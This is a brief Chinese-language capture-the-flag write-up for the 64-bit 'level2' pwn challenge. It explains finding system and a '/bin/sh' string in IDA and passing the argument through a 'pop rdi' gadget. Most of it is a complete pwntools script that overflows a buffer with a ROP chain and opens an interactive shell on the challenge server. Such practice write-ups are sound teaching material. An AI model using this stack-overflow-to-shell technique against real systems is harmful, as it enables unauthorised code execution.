pwn level2-64
- 检查保护机制
- 放入ida分析
- 在ida 中发现有system函数,再查找下也有binsh字符串。
- 由于是64位的,所以,传参数时要注意,前6个参数是存在寄存器里的。
- rdi的地址
- 利用pop ret 指令来传递参数,pop rdi,将参数binsh弹出栈,并存入rdi寄存器中,再ret返回栈中,再执行system函数,参数从rdi中取出。
- 构造脚本如下:
from pwn import *
r = remote("pwn2.jarvisoj.com",9882)
system_addr = 0x004004c0
binsh_addr = 0x00600a90
pop_rdi = 0x004006b3
payload = 'a'*0x80+'b'*8+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
r.sendline(payload)
r.interactive()